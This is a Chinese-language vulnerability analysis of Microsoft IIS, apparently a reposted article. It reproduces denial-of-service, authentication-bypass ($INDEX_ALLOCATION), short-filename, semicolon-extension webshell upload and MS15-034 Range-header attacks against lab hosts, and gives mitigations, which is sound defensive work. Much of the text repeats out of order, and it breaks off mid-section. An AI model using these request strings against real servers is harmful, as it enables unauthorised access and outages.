2.1.1 漏洞描述：Microsoft IIS处理某些畸形的HTTP请求时存在漏洞，远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出，导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.1
Ø 漏洞分析：IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序，服务器可以在后端执行脚本，并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源，例如Perl脚本、Active Server Pages（ASP）或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下，当多次请求动态链接的库资源时，受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求，因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符（注意，不可见字符需要使用以下字符范围的URL编码形式）：
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符，后面跟一个十进制数字。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限；
2. 浏览器发送恶意url远程访问靶机环境，复现成功，服务器返回500错误：
Eg:http://192.168.180.200/_vti_bin/.dll/\~0
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.1版本存在，升级IIS版本或者更新MS07-041补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限，不开启此权限的服务器不存在漏洞。
2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞 CVE-2009-2521
2.2.1 漏洞描述：IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务（守护进程崩溃）。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析：
通过包含通配符的list（ls）-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件，即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件：
（1）一个有效的ftp帐户，拥有只读或写入权限；
（2）“FTP发布”服务必须在启动类型中配置为“手动”模式；
（3） FTP根目录下至少有一个目录。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 添加FTP服务器角色，IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
2. 配置ftp默认用户anonymous/anonymous，拥有读写目录权限；
3. 目录下创建一个文件夹BB，然后输入ls "-R p*/../"，成功复现DOS拒绝服务，ftp连接关闭：
中间很多重复：
p*/../BB:
BB
FTP服务器提示“远程主机关闭连接”，FTP拒绝服务，漏洞复现成功。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.0-7.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
3. 认证绕过漏洞3.1 IIS认证绕过和源码泄露漏洞复现
3.1.1 漏洞描述：Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件，其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞，该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问，且有助于进一步攻击。
3.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0、IIS 7.5
Ø 漏洞分析：Microsoft IIS由于无法正确清理用户提供的输入，容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过：
（1） 安装了PHP的Microsoft IIS 6.0身份验证绕过：
IIS / 6.0加载受保护（如:admin）目录中的PHP文件需要用户认证信息（用户名和密码访问），如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面，存在绕过认证并可能访问管理文件等特殊情况，导致IIS服务器重要信息泄露；
Eg:/admin::$INDEX_ALLOCATION/index.php
（2） Microsoft IIS 7.5经典ASP身份验证绕过：
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5，通过将“：$ i30：$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面，可以绕过经典的ASP文件访问限制；
Eg:举例：/admin:$i30:$INDEX_ALLOCATION/index.asp
（3） Microsoft IIS 7.5 .NET源代码公开和身份验证绕过：
在配置中安装了PHP的Microsoft IIS / 7.5，存在认证绕过漏洞；
Eg：http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外，通过将/.php附加到ASPX文件（或使用未通过请求过滤规则阻止的.NET框架的任何其他文件，如错误配置：.CS，.VB等文件）。IIS 7.5使用文件的完整源代码进行响应，并将其作为PHP代码执行。这意味着通过使用上传功能，可以（在特殊情况下）执行任意PHP代码。
Eg: http://<victimIIS75>/Default.aspx/.php （php任意代码执行）
Ø 漏洞类型：可远程利用，可触发认证绕过和信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
以下验证复现上述（3）的漏洞，（1）和（2）类似此处不做验证：
1. IIS网站根目录下创建admin用户目录，关闭默认用户认证，换言之，访问/admin/index.php目录下的文件需要认证信息，认证失败或者无认证信息将会返回401未授权页面；
2. 配置完成后，重启IIS服务器，浏览器远程访问此文件：http://192.168.180.207/admin/index.php，默认IIS账户访问提示401未授权；
3. 接下来，利用:$i30:$INDEX_ALLOCATION来绕过此限制，浏览器远程访问：
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php，成功绕过并访问到敏感信息；
4. 除此之外，如果目标站点限制上传和访问php文件，可以利用上传aspx（.net支持解析的文件类型）文件逃避限制，将其当做php代码执行；
Eg：网站目录下有一个index.aspx的文件，里面写有php代码，正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码，通过在末尾加上index.aspx/.php形式访问将会成功执行php代码；
a. 正常绕过访问index.aspx文件，页面返回乱码，未执行phpinfo代码：
b. 通过在末尾加上/.php，成功执行php代码：
Ø 漏洞缓解：
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响；
2. 攻击者需要事先获取IIS服务器受认证保护目录；
4. 信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
4.1.1 漏洞描述：IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定（SFN）的代字符（~）波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称（不应该可被访问）。攻击者可以找到通常无法从外部直接访问的重要文件，并获取有关应用程序基础结构的信息。
4.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0-10.0全系列版本
Ø 漏洞分析：Windows 支持以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时，会生成相应的短文件名。此时，攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号，可以对IIS服务器短文件名进行暴力猜解，依据返回的页面信息和状态码来确认真实存在的文件名，从而获取服务器敏感信息，为下一步攻击做准备。
Ø 漏洞类型：可远程利用，可触发信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot，输入“dir /x”查看已存在的短文件名：
2. 使用公开POC或者扫描程序探测目标靶机的短文件名，成功猜解到服务器根目录短文件名称：
Ø 漏洞缓解：
1. 限制IIS服务器HTTP方法，除了必要的GET、POST方法，其他HTTP方法建议关闭，视情况开启；
2. IIS服务器文件建议使用复杂字符或者中文命名，增加后期攻击者暴力破解难度；
3. 针对已存在的IIS服务器，建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注：详细原理和解决方案请参考：https://www.freebuf.com/articles/web/172561.html
5. 代码执行漏洞
5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞 CVE-2009-4444
5.1.1 漏洞描述：IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分，因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
5.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0
Ø 漏洞分析：此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格，只检查了文件末尾的格式，导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时，被此畸形文件格式的分号截断了，认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell，控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型：可远程利用，文件上传绕过可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2003 Sp2 32位企业版，默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件，用记事本打开，放入asp webshell代码（实际利用过程中是通过第三方应用上传绕过漏洞上传此文件，并设法获取此上传路径）；
2. 通过浏览器远程访问此文件，http://192.168.180.201/aspwebshell.asp;.jpg，成功执行asp webshell代码：
Ø 漏洞缓解：
1. 严格限制IIS第三方应用上传文件的格式；
2. 此漏洞仅影响IIS 6.0，其他版本解析asp文件不会被分号截断，可升级至无此漏洞的IIS版本。
5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现 CVE-2015-1635
5.2.1 漏洞描述：Microsoft Windows是美国微软（Microsoft）公司发布的一系列操作系统。Microsoft Internet Information Services（IIS）是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞，该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 5.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析：
IIS进程w3wp.exe接收到HTTP请求后，将数据缓存到内核中，并整合HTTP回应头，最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围，而缓存中则包含了http文件和大小信息等。
根据公开POC，构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器，如果IIS服务器返回“Requested Range Not Satisfiable”，则存在漏洞，如果返回“The request has an invalid header name”或者没有回应，则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型：可远程利用，可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2008 R2 64位企业版，默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境，成功检测到漏洞：
Ø 漏洞缓解：
1. 禁用 IIS 内核缓存，详情见微软官方公告：
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本，此版本不存在此漏洞。
三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞，本地漏洞主要分布在信息泄露和权限提升漏洞分类，大部分漏洞利用难度较大，但是一旦成功被攻击者利用，影响的不仅仅只是IIS服务器，甚至可能是运行IIS的Windows主机。如果用户主机被利用，那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等，后果不堪设想。
如果IIS服务器的网站配置不当，攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问，获取用户隐私信息。此外，不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件，进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞，对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境，IIS漏洞都是一个极大的隐患，也让IIS网站管理员和不少运维人员心惊胆战。
原文链接：https://www.secpulse.com/archives/82410.html
一、 全球第三大网络服务器
Internet Information Services（IIS，以前称为Internet Information Server）互联网信息服务是Microsoft公司提供的可扩展Web服务器，支持HTTP，HTTP/2，HTTPS，FTP，FTPS，SMTP和NNTP等。起初用于Windows NT系列，随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统，不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示，Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器，落后于Apache 34.07％和Nginx 25.45％。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病，一旦IIS出现高危漏洞，将会出现范围广、影响深的特点。
目前IIS一共发行12个版本，从IIS 1.0版本至IIS 10.0版本，IIS 1.0-4.0已经基本退出市场，IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新，IIS自身的安全性也有了较大的提升。在2005-2018年期间，IIS漏洞呈现逐年减少的趋势，同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
从上述IIS漏洞统计表格可以看出，IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本，分别对应受影响漏洞12个、4个和2个，呈现受影响漏洞数量递减的趋势。同时，在历年的IIS版本漏洞中，IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
二、 IIS漏洞分析
千里目实验室针对IIS近十几年（2005年以后）的35个漏洞进行和整理和分析，IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露，其中以MS15-034远程代码执行漏洞最为严重。
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
由上表可以看到，IIS历年漏洞主要以远程漏洞为主，占漏洞总数85.71%，本地漏洞有5个，占漏洞总数14.29%。其中5个本地漏洞分别是：(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现：
1. 缓冲区溢出漏洞
1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
1.1.1 漏洞描述：Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话，就可以触发这个溢出，导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。
1.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析：
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表（NLST）命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下：
NLST <SPACE> <pathname> <CRLF>，此命令中的路径名应指定目录或其他特定于系统的文件组描述符；在pathname为NULL时，使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务（IIS）中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时，易受攻击的代码会将目录路径名复制到0x9F（159）字节的基于堆栈的缓冲区中，而不进行边界验证。提供包含大于0x9F（159）字节的路径名会使堆栈缓冲区溢出，从而可能会覆盖关键进程数据（如函数返回地址）。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功，可能会导致受影响的FTP会话异常终止。
注意：为了成功利用此漏洞，NLST命令中指定的长路径名必须存在于目标系统上。因此，利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型：可远程利用，存在缓冲区溢出漏洞，可触发代码执行
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 搭建好IIS FTP靶机环境，测试anonymous默认匿名用户可用，且可创建和读写目录；
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常：
以上somefolder为FTP服务器上正常长度文件夹，NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度，服务器返回150，打开数据连接，成功执行命令。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.x和6.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
2. DOS拒绝服务漏洞
2.1 (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞 CVE-2005-4360
2.1.1 漏洞描述：Microsoft IIS处理某些畸形的HTTP请求时存在漏洞，远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出，导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.1
Ø 漏洞分析：IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序，服务器可以在后端执行脚本，并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源，例如Perl脚本、Active Server Pages（ASP）或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下，当多次请求动态链接的库资源时，受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求，因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符（注意，不可见字符需要使用以下字符范围的URL编码形式）：
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符，后面跟一个十进制数字。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限；
2. 浏览器发送恶意url远程访问靶机环境，复现成功，服务器返回500错误：
Eg:http://192.168.180.200/_vti_bin/.dll/\~0
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.1版本存在，升级IIS版本或者更新MS07-041补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限，不开启此权限的服务器不存在漏洞。
2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞 CVE-2009-2521
2.2.1 漏洞描述：IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务（守护进程崩溃）。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析：
通过包含通配符的list（ls）-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件，即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件：
（1）一个有效的ftp帐户，拥有只读或写入权限；
（2）“FTP发布”服务必须在启动类型中配置为“手动”模式；
（3） FTP根目录下至少有一个目录。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 添加FTP服务器角色，IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
2. 配置ftp默认用户anonymous/anonymous，拥有读写目录权限；
3. 目录下创建一个文件夹BB，然后输入ls "-R p*/../"，成功复现DOS拒绝服务，ftp连接关闭：
中间很多重复：
p*/../BB:
BB
FTP服务器提示“远程主机关闭连接”，FTP拒绝服务，漏洞复现成功。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.0-7.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
3. 认证绕过漏洞3.1 IIS认证绕过和源码泄露漏洞复现
3.1.1 漏洞描述：Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件，其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞，该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问，且有助于进一步攻击。
3.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0、IIS 7.5
Ø 漏洞分析：Microsoft IIS由于无法正确清理用户提供的输入，容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过：
（1） 安装了PHP的Microsoft IIS 6.0身份验证绕过：
IIS / 6.0加载受保护（如:admin）目录中的PHP文件需要用户认证信息（用户名和密码访问），如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面，存在绕过认证并可能访问管理文件等特殊情况，导致IIS服务器重要信息泄露；
Eg:/admin::$INDEX_ALLOCATION/index.php
（2） Microsoft IIS 7.5经典ASP身份验证绕过：
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5，通过将“：$ i30：$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面，可以绕过经典的ASP文件访问限制；
Eg:举例：/admin:$i30:$INDEX_ALLOCATION/index.asp
（3） Microsoft IIS 7.5 .NET源代码公开和身份验证绕过：
在配置中安装了PHP的Microsoft IIS / 7.5，存在认证绕过漏洞；
Eg：http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外，通过将/.php附加到ASPX文件（或使用未通过请求过滤规则阻止的.NET框架的任何其他文件，如错误配置：.CS，.VB等文件）。IIS 7.5使用文件的完整源代码进行响应，并将其作为PHP代码执行。这意味着通过使用上传功能，可以（在特殊情况下）执行任意PHP代码。
Eg: http://<victimIIS75>/Default.aspx/.php （php任意代码执行）
Ø 漏洞类型：可远程利用，可触发认证绕过和信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
以下验证复现上述（3）的漏洞，（1）和（2）类似此处不做验证：
1. IIS网站根目录下创建admin用户目录，关闭默认用户认证，换言之，访问/admin/index.php目录下的文件需要认证信息，认证失败或者无认证信息将会返回401未授权页面；
2. 配置完成后，重启IIS服务器，浏览器远程访问此文件：http://192.168.180.207/admin/index.php，默认IIS账户访问提示401未授权；
3. 接下来，利用:$i30:$INDEX_ALLOCATION来绕过此限制，浏览器远程访问：
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php，成功绕过并访问到敏感信息；
4. 除此之外，如果目标站点限制上传和访问php文件，可以利用上传aspx（.net支持解析的文件类型）文件逃避限制，将其当做php代码执行；
Eg：网站目录下有一个index.aspx的文件，里面写有php代码，正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码，通过在末尾加上index.aspx/.php形式访问将会成功执行php代码；
a. 正常绕过访问index.aspx文件，页面返回乱码，未执行phpinfo代码：
b. 通过在末尾加上/.php，成功执行php代码：
Ø 漏洞缓解：
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响；
2. 攻击者需要事先获取IIS服务器受认证保护目录；
4. 信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
4.1.1 漏洞描述：IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定（SFN）的代字符（~）波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称（不应该可被访问）。攻击者可以找到通常无法从外部直接访问的重要文件，并获取有关应用程序基础结构的信息。
4.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0-10.0全系列版本
Ø 漏洞分析：Windows 支持以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时，会生成相应的短文件名。此时，攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号，可以对IIS服务器短文件名进行暴力猜解，依据返回的页面信息和状态码来确认真实存在的文件名，从而获取服务器敏感信息，为下一步攻击做准备。
Ø 漏洞类型：可远程利用，可触发信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot，输入“dir /x”查看已存在的短文件名：
2. 使用公开POC或者扫描程序探测目标靶机的短文件名，成功猜解到服务器根目录短文件名称：
Ø 漏洞缓解：
1. 限制IIS服务器HTTP方法，除了必要的GET、POST方法，其他HTTP方法建议关闭，视情况开启；
2. IIS服务器文件建议使用复杂字符或者中文命名，增加后期攻击者暴力破解难度；
3. 针对已存在的IIS服务器，建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注：详细原理和解决方案请参考：https://www.freebuf.com/articles/web/172561.html
5. 代码执行漏洞
5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞 CVE-2009-4444
5.1.1 漏洞描述：IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分，因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
5.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0
Ø 漏洞分析：此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格，只检查了文件末尾的格式，导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时，被此畸形文件格式的分号截断了，认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell，控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型：可远程利用，文件上传绕过可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2003 Sp2 32位企业版，默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件，用记事本打开，放入asp webshell代码（实际利用过程中是通过第三方应用上传绕过漏洞上传此文件，并设法获取此上传路径）；
2. 通过浏览器远程访问此文件，http://192.168.180.201/aspwebshell.asp;.jpg，成功执行asp webshell代码：
Ø 漏洞缓解：
1. 严格限制IIS第三方应用上传文件的格式；
2. 此漏洞仅影响IIS 6.0，其他版本解析asp文件不会被分号截断，可升级至无此漏洞的IIS版本。
5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现 CVE-2015-1635
5.2.1 漏洞描述：Microsoft Windows是美国微软（Microsoft）公司发布的一系列操作系统。Microsoft Internet Information Services（IIS）是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞，该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 5.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析：
IIS进程w3wp.exe接收到HTTP请求后，将数据缓存到内核中，并整合HTTP回应头，最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围，而缓存中则包含了http文件和大小信息等。
根据公开POC，构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器，如果IIS服务器返回“Requested Range Not Satisfiable”，则存在漏洞，如果返回“The request has an invalid header name”或者没有回应，则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型：可远程利用，可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2008 R2 64位企业版，默认IIS 7.5
1. 开启IIS默认网站
